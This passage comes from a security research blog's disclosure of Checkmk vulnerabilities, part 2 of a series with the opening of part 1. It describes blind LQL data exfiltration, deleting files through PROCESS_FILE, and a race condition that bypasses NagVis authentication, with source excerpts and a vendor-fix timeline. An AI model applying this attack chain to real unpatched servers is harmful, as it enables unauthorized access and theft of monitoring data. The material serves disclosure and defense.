authentication.&lt;/p&gt;&lt;h3&gt;Exploitation Chain&lt;/h3&gt;&lt;p&gt;As a reminder the following picture summarizes the exploitation chain enabling an unauthenticated attacker to gain remote code execution:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a105e576-1cdd-4631-bdda-105523ae763a/body-fee129ee-2bd1-496a-9e34-2cbabbf0e3b2_checkmk-chain-all.png&quot; /&gt;&lt;p&gt;In the &lt;a href=&quot;https://blog.sonarsource.com/checkmk-rce-chain-1/&quot;&gt;first article&lt;/a&gt;, we covered the first two vulnerabilities: a Server-Side Request Forgery in the agent-receiver (1) as well as a Line Feed Injection (2), which can be exploited by an unauthenticated attacker to forge arbitrary LQL queries. Before an attacker can further leverage the Arbitrary File Read vulnerability (3) followed by the Code Injection (4) vulnerability, authenticated access to NagVis is required.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Within this article, we unveil the impact of an attacker’s ability to forge arbitrary LQL queries. We start by determining how an attacker can exfiltrate monitoring data. After this, we describe how the LQL interface can be leveraged to delete arbitrary files and furthermore bypass the NagVis authentication:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c1c62328-3efb-4966-8fee-1ea9f7144eac/body-17eb433a-9704-4b80-9946-9474a5e79c4e_checkmk-part2.png&quot; /&gt;&lt;h3&gt;Monitoring Data Exfiltration&lt;/h3&gt;&lt;p&gt;The LQL interface is mainly used to retrieve data from the monitoring core. This data consists for example of internal hostnames and IP addresses of monitored hosts, running services, contact persons, and their email addresses. Although this data is not highly sensitive, it can be useful for an attacker to mount further attacks. Thus an attacker might be interested in retrieving this data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Blind Data Exfiltration&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Although an attacker is able to forge arbitrary LQL queries by leveraging the two vulnerabilities we covered so far, the response cannot be read by the attacker. The reason for this is that neither the vulnerable endpoint &lt;code&gt;/ajax_graph_images.py&lt;/code&gt; directly outputs the retrieved data, nor can the SSRF, which is leveraged to request this endpoint, be used to read the response. Thus the attacker is dealing with a blind LQL injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This scenario can be compared with a blind SQL injection. Attackers typically use a time-based approach to exploit this vulnerability. For example, the following SQL query could be used to determine if the first character of the first &lt;code&gt;name&lt;/code&gt; in the table &lt;code&gt;users&lt;/code&gt; is &lt;code&gt;&amp;#x27;a&amp;#x27;&lt;/code&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/425b9172-9c14-4576-b16d-3831062e3b7c/body-fd07ab5f-3548-4d9d-83f8-6172342997e7_checkmk-sql.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the condition is satisfied, the call to &lt;code&gt;SLEEP(5)&lt;/code&gt; delays the response of the query by five seconds. By iterating over each possible character and measuring the time the response takes, the first character can be determined. This process can be repeated with the second character and so forth until the whole username is exfiltrated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;LQL Blind Data Exfiltration&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;An attacker can use a similar approach to blindly retrieve data from the LQL interface by using &lt;a href=&quot;https://docs.checkmk.com/latest/en/livestatus.html#_time_delays_wait&quot;&gt;time delays&lt;/a&gt;. The purpose of time delays is that some data needs to be retrieved only if a specific condition is satisfied. For example, the disk usage of a host should be reported when the CPU load of this host exceeds a specific threshold.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The headers required to use time delays are prefixed with &lt;code&gt;Wait&lt;/code&gt;. The relevant headers for our considerations are these:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;WaitObject&lt;/code&gt;: Name identifying the object for which a condition should be satisfied.&lt;/li&gt;&lt;li&gt;&lt;code&gt;WaitCondition&lt;/code&gt;: Condition, which should be satisfied.&lt;/li&gt;&lt;li&gt;&lt;code&gt;WaitTimeout&lt;/code&gt;: Limit in milliseconds after which the query will be executed even if the condition was not satisfied.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;WaitObject&lt;/code&gt; header is required, which means that an attacker has to know the name of the object, whose data the attacker wants to retrieve. The easiest but also noisiest approach an attacker may use is a word list attack. By using the following query, an attacker could determine if a host with the name &lt;code&gt;ldap&lt;/code&gt; exists:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0c8c5ada-e1c3-42c4-8722-12c8dcb934c1/body-dea4b1bc-ef9a-40aa-addf-5b8547458188_checkmk-exfil-1.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If there is no host with the name &lt;code&gt;ldap&lt;/code&gt;, the query immediately returns. If the host exists, the condition is never satisfied, and the query times out after 2000 ms verifying the existence of the host.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A more efficient way to determine the name of monitored hosts is to use the &lt;code&gt;hostgroups&lt;/code&gt; table. By default, each host is added to the default host group &lt;code&gt;check_mk&lt;/code&gt;. This is the name of the &lt;code&gt;hostgroups&lt;/code&gt; object within this table and can thus be used for the &lt;code&gt;WaitObject&lt;/code&gt; header. The table contains a column called &lt;code&gt;members&lt;/code&gt;, which contains all hostnames within this host group. For example, a request to this table may look like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5efbc240-6dc8-46f1-804b-abb34fdbea02/body-1604919f-b9f0-4750-ab0a-7be0add3997b_checkmk-exfil-2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The response contains the name of all hosts:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4bc3f41b-7b96-4418-a0e4-7c161d15f5cf/body-6d69a322-9e4c-472a-b25e-9cd943596fc6_checkmk-exfil-3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By setting the &lt;code&gt;WaitCondition&lt;/code&gt; on this column and using a regular expression, all hostnames can be exfiltrated character by character. The following query determines, if there is a hostname that begins with &amp;quot;&lt;code&gt;serv&lt;/code&gt;&amp;quot;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7ee8d7b5-b8bc-4071-a984-a8ac4bbb0b73/body-e7c35000-2530-495d-a374-93bfa6bb6a6e_checkmk-exfil-4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once all hostnames have been exfiltrated, an attacker can use these names for the &lt;code&gt;WaitObject&lt;/code&gt; header on the &lt;code&gt;hosts&lt;/code&gt; table in order to retrieve all data from a given host, for example, the IP address:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3887a137-b25b-49ca-9c78-cf36c74232e6/body-60209a45-9478-4015-b454-2bbe011a44a6_checkmk-exfil-5.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, the name of the contact responsible for the host can be exfiltrated:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/31829741-7351-451e-83f2-dee054cf31d4/body-198f5e2c-7153-4b3b-b118-389536d9ce05_checkmk-exfil-6.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After having retrieved the name of a contact, further information about this contact can be retrieved via the &lt;code&gt;contacts&lt;/code&gt; table:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/179d978a-2892-4070-870f-a3ba06b4f2b2/body-388e9e29-3296-4737-bbd6-d134c338043b_checkmk-exfil-7.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The fact that the values in a column of one table often contain the names of objects in another table makes it possible to gradually exfiltrate the whole data set.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video illustrates how the two vulnerabilities detailed in the first article are used by an unauthenticated, remote attacker to exfiltrate monitoring data from a vulnerable Checkmk server:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/C8duzmDDMXU&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;After this quick look at the possibilities of data exfiltration, let’s continue with the exploitation chain by determining how an attacker can gain access to Checkmk’s NagVis component:&lt;/p&gt;&lt;h3&gt;NagVis Authentication Bypass&lt;/h3&gt;&lt;p&gt;The LQL interface can not only be used to retrieve data but also to send external commands to the monitoring core by issuing a &lt;code&gt;COMMAND&lt;/code&gt; request. Although the term command might suggest immediate code execution, the abilities are very limited.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nagios External Commands&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://docs.checkmk.com/latest/en/livestatus_references.html#commands&quot;&gt;documented commands&lt;/a&gt; are supported by the open-source Raw Edition as well as the Enterprise Editions. These commands can for example be used to enable or disable checks and notifications. Since the open-source Raw Edition uses a Nagios monitoring core, there are a few additional commands listed in the &lt;a href=&quot;https://assets.nagios.com/downloads/nagioscore/docs/externalcmds/&quot;&gt;Nagios documentation&lt;/a&gt;. Nevertheless, sensitive commands like &lt;code&gt;CMD_CHANGE_HOST_CHECK_COMMAND&lt;/code&gt;, which alter the command executed to perform host checks, were disabled for security reasons back &lt;a href=&quot;https://github.com/NagiosEnterprises/nagioscore/commit/3207e91193cb507401858a6136fc6e3fc257a236&quot;&gt;in 2008&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One additional Nagios command, which is still enabled, is called &lt;a href=&quot;https://assets.nagios.com/downloads/nagioscore/docs/externalcmds/cmdinfo.php?command_id=131&quot;&gt;PROCESS_FILE&lt;/a&gt;. The format of this command is structured like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/50d0f777-bd51-4bea-b5be-9dfa37a8e26d/body-742911a4-25ec-4011-a90c-afa985252365_checkmk-exfil-8.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Issuing this command directs the Nagios core to read the file specified by &lt;code&gt;&amp;lt;file_name&amp;gt;&lt;/code&gt; and execute each line in the file as an external command. This does not increase the attack surface per se because there is no difference from directly issuing an external command. However, if the second parameter &lt;code&gt;&amp;lt;delete&amp;gt;&lt;/code&gt; is non-zero, the file will be deleted after it has been processed. The deletion of the file does not depend on its contents. Even if the file does not contain any valid external command, it will be deleted: &lt;strong&gt;this command gives an attacker an arbitrary file deletion primitive&lt;/strong&gt;. In order to understand how this can be leveraged by an attacker, let’s have a look at how Checkmk’s authentication mechanism works.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Checkmk Authentication Mechanism&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;After a successful login, a session cookie is created, which identifies the user. This cookie is structured like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d6a4a7bb-5835-47c1-87d4-1b4cc3636914/body-550adf61-aa44-4765-ba5c-427945619af3_checkmk-auth-1.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, a cookie for the &lt;code&gt;cmkadmin&lt;/code&gt; user may look like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/77013624-1191-4e61-a1e7-8e553b304352/body-45445a7a-9ab1-4cdc-80d9-67b553e48e04_checkmk-auth-2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The hash at the end of the cookie is created by &lt;code&gt;_generate_auth_hash&lt;/code&gt;, which calls &lt;code&gt;_generate_hash&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/login.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _generate_auth_hash(username: UserId, session_id: str) -&gt; str:
   return _generate_hash(username, username + session_id)

def _generate_hash(username: UserId, value: str) -&gt; str:
   &quot;&quot;&quot;Generates a hash to be added into the cookie value&quot;&quot;&quot;
   secret = _load_secret()
   serial = _load_serial(username)
   return sha256((value + str(serial) + secret).encode()).hexdigest()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Accordingly, the hash is calculated like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f26deb5b-344b-4030-b39d-4670d1b1af4b/body-0689d41d-2d37-4ddd-9001-394a77ae84f8_checkmk-auth-3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To verify a cookie, the Checkmk GUI recalculates the hash and compares it with the hash from the cookie:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/login.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def check_parsed_auth_cookie(username: UserId, session_id: str, cookie_hash: str) -&gt; None:
   # ...
   if cookie_hash != _generate_auth_hash(username, session_id):
       raise MKAuthException(_(&quot;Invalid credentials&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker, who wants to forge a valid cookie, needs to know all four values from the hash calculation. The &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;session_id&lt;/code&gt; are part of the cookie itself and are thus known. The &lt;code&gt;serial&lt;/code&gt; value of a user is initialized with &lt;code&gt;0&lt;/code&gt; and incremented by one each time the user’s password is changed, or the user account gets locked. Thus an attacker can simply test successive values starting with &lt;code&gt;0&lt;/code&gt;. The last value called &lt;code&gt;secret&lt;/code&gt; is retrieved via the &lt;code&gt;_load_secret function&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/login.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _load_secret() -&gt; str:
   # ...
   secret_path = htpasswd_path.parent.joinpath(&quot;auth.secret&quot;)

   secret = &quot;&quot;
   if secret_path.exists():
       with secret_path.open(encoding=&quot;utf-8&quot;) as f:
           secret = f.read().strip()
   # ...
   if secret == &quot;&quot; or len(secret) == 32:
       secret = _generate_secret()
       with secret_path.open(&quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
           f.write(secret)

   return secret&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;secret&lt;/code&gt; value is read from a file called &lt;code&gt;auth.secret&lt;/code&gt;. If the content of this file is empty or only 32 bytes in length, a new secret is generated and written to the file. The &lt;code&gt;_generate_secret&lt;/code&gt; function returns 256 random characters:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/login.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _generate_secret() -&gt; str:
   return utils.get_random_string(256)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This value is unknown to an attacker and cannot easily be guessed. Without this value it is not possible to forge a valid session cookie:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/78e49387-0b12-4223-b693-d6d67631477d/body-82379d59-8115-479e-883b-fc98db0c7b24_checkmk-auth-4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are two important aspects to highlight here:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;_load_secret&lt;/code&gt; does always return 256 random characters, even if the &lt;code&gt;auth.secret&lt;/code&gt; file was not present or was not read properly.&lt;/li&gt;&lt;li&gt;The &lt;code&gt;auth.secret&lt;/code&gt; file is recreated if it is not present.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Leveraging Arbitrary File Deletion&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;An attacker could try to achieve that the &lt;code&gt;secret&lt;/code&gt; value is empty and thus known. Though, if the attacker uses the arbitrary file deletion primitive to delete the &lt;code&gt;auth.secret&lt;/code&gt; file, it would be recreated on the fly, and the &lt;code&gt;secret&lt;/code&gt; value would be populated with a new value, unknown to the attacker. Thus the ability to delete arbitrary files does not seem to enable an attacker to bypass the authentication of the Checkmk GUI.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When getting a basic overview of the Checkmk architecture in the &lt;a href=&quot;https://example.com/&quot;&gt;first article&lt;/a&gt; of this series, we outlined that Checkmk integrates the NagVis PHP component. This integration is seamless from an authentication point of view, meaning that a user authenticated to the Checkmk GUI can also access the NagVis component. In order to make this possible, the NagVis class &lt;code&gt;CoreLogonMultisite&lt;/code&gt; verifies the session cookie within the &lt;code&gt;checkAuthCookie&lt;/code&gt; function:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;nagvis/share/nagvis/htdocs/server/core/classes/CoreLogonMultisite.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private function checkAuthCookie($cookieName) {
    // ...
    list($username, $sessionId, $cookieHash) = explode(&apos;:&apos;, $cookieValue, 3);
    // ...
    $users = $this-&gt;loadAuthFile($this-&gt;serialsPath);
    // ...
    $user_secret = $users[$username];
    // ...
    $hash = $this-&gt;generateHash($username, $sessionId, (string) $user_secret);
    // ...
    // Validate the hash
    if ($cookieHash != $hash) {
        throw new Exception();
    }
    // ...
    return $username;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first, the cookie is separated into its three components: &lt;code&gt;$username&lt;/code&gt;, &lt;code&gt;$sessionId&lt;/code&gt;, and &lt;code&gt;$cookieHash&lt;/code&gt;. The &lt;code&gt;$user_secret&lt;/code&gt; value read via the &lt;code&gt;loadAuthFile&lt;/code&gt; function is the serial value we have already encountered. The function &lt;code&gt;generateHash&lt;/code&gt; is used to calculate the hash with the given parameters. If the calculated hash matches the hash from the cookie, the user is assumed to be authenticated. Advanced readers may have noticed a &lt;a href=&quot;https://checkmk.com/werk/14291&quot;&gt;type juggling vulnerability&lt;/a&gt; here, which we reported additionally (CVE-2022-3979). Its exploitation is far more laborious and its presence is not relevant for our considerations. So let’s continue with the &lt;code&gt;generateHash&lt;/code&gt; function, which is similar to its Checkmk GUI Python equivalent:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;nagvis/share/nagvis/htdocs/server/core/classes/CoreLogonMultisite.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private function generateHash($username, $session_id, $user_secret) {
    $secret = $this-&gt;loadSecret();
    return hash(&quot;sha256&quot;, $username . $session_id. $user_secret . $secret);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Though, the implementation of the called &lt;code&gt;loadSecret&lt;/code&gt; function is less complex than its Python equivalent:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;nagvis/share/nagvis/htdocs/server/core/classes/CoreLogonMultisite.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private function loadSecret() {
    return trim(file_get_contents($this-&gt;secretPath));
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function reads the &lt;code&gt;$secret&lt;/code&gt; value from the &lt;code&gt;auth.secret&lt;/code&gt; file, but it does neither handle any file reading errors nor recreate the file if it is not present.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of an attacker would be to make the &lt;code&gt;$secret&lt;/code&gt; value empty and thus known. Let’s determine what happens if &lt;code&gt;file_get_contents&lt;/code&gt; is called on a non-existent file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;php &gt; var_dump(file_get_contents(&apos;/tmp/not.existing&apos;));
PHP Warning:  file_get_contents(/tmp/not.existing): Failed to open stream: No such file or directory in php shell code on line 1
bool(false)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A warning is raised and the function returns &lt;code&gt;false&lt;/code&gt;. Due to the error handlers, NagVis employed, this warning triggers an exception, which prevents further code from being executed. Thus simply deleting the &lt;code&gt;auth.secret&lt;/code&gt; file does not yield an empty &lt;code&gt;$secret&lt;/code&gt; value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Winning The File Race&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;However, an attacker can leverage an important characteristic of the &lt;code&gt;_load_secret&lt;/code&gt; function in the Checkmk GUI. This function recreates the &lt;code&gt;auth.secret&lt;/code&gt; file with a new secret value if the file is not existing. The creation of the file (&lt;code&gt;open&lt;/code&gt;) and the writing of the new secret value to it (&lt;code&gt;write&lt;/code&gt;) are two distinct operations. If the &lt;code&gt;loadSecret&lt;/code&gt; PHP function calls &lt;code&gt;file_get_contents&lt;/code&gt; right after the &lt;code&gt;auth.secret&lt;/code&gt; file was recreated, but the new secret value has not yet been written, &lt;code&gt;file_get_contents&lt;/code&gt; simply operates on an existing but empty file, and an empty string is returned:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/14c06b0b-0862-4495-af25-e0808aa45162/body-cccc6d5f-ffa1-4248-a30c-41aa687b183a_checkmk-auth-5.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;(1) At first, an attacker can leverage the SSRF and LF Injection vulnerabilities to trigger an LQL query with the &lt;code&gt;PROCESS_FILE&lt;/code&gt; command to delete the &lt;code&gt;auth.secret&lt;/code&gt; file. After this, the attacker can quickly trigger two requests: (2) one request to the Checkmk GUI to recreate the &lt;code&gt;auth.secret&lt;/code&gt; file and (3) another request to NagVis with a forged cookie assuming an empty &lt;code&gt;$secret&lt;/code&gt; value. If the resulting &lt;code&gt;file_get_contents&lt;/code&gt; call in NagVis is executed at the right time, the &lt;code&gt;$secret&lt;/code&gt; value is empty, and access to NagVis is granted. If the attempt fails, the process can simply be repeated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The mere ability of an unauthenticated attacker to delete arbitrary files leads to an authentication bypass, even without the presence of an additional vulnerability. Although this attack requires a few attempts, it can reliably be exploited to gain access to NagVis. The more fail-safe implementation in the Checkmk GUI itself prevents an attacker from exploiting it here. Though with access to NagVis, an attacker has crossed another security boundary, and the exposed attack surface is further increased.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-22&lt;/td&gt;&lt;td&gt;We report all issues to Checkmk.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-23&lt;/td&gt;&lt;td&gt;Vendor confirms all issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-15&lt;/td&gt;&lt;td&gt;Vendor releases patched version 2.1.0p12.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this second article in a series of three, we outlined the impact of an attacker’s ability to forge arbitrary LQL queries. Firstly, a time-based approach could be used to exfiltrate data from the monitoring core, which can be useful to mount further attacks. Furthermore, an attacker can use the &lt;code&gt;PROCESS_FILE&lt;/code&gt; command to delete arbitrary files and leverage this to bypass the authentication of NagVis. This is achieved by making two simultaneous requests, which results in an empty secret value if the single file operations are executed in a specific order.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The NagVis authentication bypass is only possible because an attacker already has the ability to delete arbitrary files. Nevertheless, the slightly different implementations in NagVis and the Checkmk GUI make a great difference. Since the Checkmk GUI implementation assures that the secret value cannot be empty, the outlined technique does not work here. This approach follows a &lt;em&gt;defense-in-depth&lt;/em&gt; mindset and should generally be applied. It prevents an attacker from easily escalating privileges once an initial security boundary is breached.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next article in this series will continue where we left off here: an attacker has gained access to the NagVis component exposing a new attack surface. This allows the attacker to exploit an authenticated, arbitrary file read vulnerability in NagVis, which can be used to gain access to the Checkmk GUI itself. At last, we take a detailed look at an authenticated code injection vulnerability in Checkmk, which can, at this point, be exploited by the initially unauthenticated attacker to gain remote code execution.&lt;/p&gt;&lt;p&gt;We would like to thank the Checkmk team very much for quickly responding to our report, handling each issue with absolute transparency, and providing a comprehensive patch for all reported vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (3/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)]]></title><description><![CDATA[We discovered multiple vulnerabilities in Checkmk, which can be chained together by an unauthenticated, remote attacker to fully take over a vulnerable server.]]></description><link>https://www.sonarsource.com/blog/checkmk-rce-chain-1</link><guid isPermaLink="false">5f880a7b-acce-5e6e-b7a3-e67602d8af6b</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 01 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Checkmk is a modern IT infrastructure monitoring solution developed in Python and C++. According to the vendor’s website, more than 2,000 customers rely on Checkmk. Due to its purpose, Checkmk is a central component usually deployed at a privileged position in a company’s network. This makes it a high-profile target for threat actors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our effort to help secure the open-source world, we decided to look at the open-source edition of Checkmk, which is based on a Nagios monitoring core and seamlessly integrates NagVis to visualize status data on maps and diagrams. During our research, we identified multiple vulnerabilities in Checkmk and its NagVis integration, which can be chained together by an unauthenticated, remote attacker to fully take over the server running a vulnerable version of Checkmk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this first article, in a series of three, we start by getting an overview of all identified vulnerabilities and a basic understanding of the Checkmk architecture. Furthermore, we determine the disastrous impact of chaining the identified vulnerabilities together. We also dive deep into the technical details of the first two vulnerabilities, which pave the way for an unauthenticated attacker to gain remote code execution.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We discovered multiple vulnerabilities in Checkmk and its NagVis integration with the following CVSS scores assigned by the vendor:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;CVSS 9.1: Code Injection in watolib’s auth.php (CVE-2022-46836)&lt;/li&gt;&lt;li&gt;CVSS 9.1: Arbitrary File Read in NagVis (CVE-2022-46945)&lt;/li&gt;&lt;li&gt;CVSS 6.8: Line Feed Injection in ajax_graph_images.py (CVE-2022-47909)&lt;/li&gt;&lt;li&gt;CVSS 5.0: Server-Side Request Forgery in agent-receiver (CVE-2022-48321)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These vulnerabilities can be chained together by an unauthenticated, remote attacker to gain code execution on the server running Checkmk version 2.1.0p10 